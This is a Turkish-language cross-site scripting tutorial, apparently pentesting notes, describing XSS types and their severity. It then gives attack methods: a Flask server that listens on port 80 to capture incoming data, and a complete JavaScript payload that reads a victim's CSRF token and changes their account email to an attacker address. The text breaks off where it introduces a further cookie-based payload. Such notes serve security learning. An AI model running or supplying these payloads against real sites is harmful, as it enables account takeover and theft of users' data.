Cross-Site Scripting (XSS), bir saldırganın, başka kullanıcıların tarayıcılarında kötü niyetli kod çalıştırmasına olanak tanıyan bir güvenlik açığı türüdür. Genellikle, saldırganın kötü niyetli JavaScript kodunu bir web sayfasına enjekte etmesiyle gerçekleşir. Bu kod, kullanıcının oturumunu ele geçirme, kullanıcı bilgilerini çalma veya kullanıcının tarayıcısında zararlı işlemler gerçekleştirme amacıyla kullanılabilir.
XSS Türleri
Stored XSS: Saldırganın zararlı kodu web uygulamasının veritabanına kaydedip saklaması ve bu kodun daha sonra kullanıcıya sunulmasıyla gerçekleşir. En kritik xss türüdür.
Reflected XSS: Saldırganın kullanıcıya özel bir link veya form aracılığıyla zararlı bir URL veya istek göndermesiyle gerçekleşir. Sunucu, bu veriyi işler ve sonuçları doğrudan kullanıcıya geri gönderir. Yüksek seviye bir zafiyettir.
DOM Based XSS: Saldırganın web sayfasının JavaScript tarafında doğrudan manipülasyon yapmasını içerir. Bu, tarayıcıda JavaScript tarafından oluşturulan ve manipüle edilen sayfaları hedefler. Yüksek seviye bir zafiyettir.
Self XSS: Kullanıcının kendisi tarafından tetiklenmesi gereken xss türüdür. Düşük seviye bir zafiyettir.
Yöntemler
Special Karakterleri Denemek
Special karakterleri girdilerde deneyerek filtrelenmediyse bunu görebiliriz.
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['POST'])
def catch_request():
data = request.get_data(as_text=True)
print("Gelen veri:", data)
return '', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
XSS ile CSRF Token Bypass
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=attacker@gmail.com')
};
</script>
Eğer xss çalıştırmak için bir cookie manipülasyonu yapmanız gerekiyorsa hedef ilk kez url'yi açtığında xss çalışmayacaktır. Aşağıdaki payload sayesinde hedefin url'yi iki kez ziyaret etmesini sağlıyoruz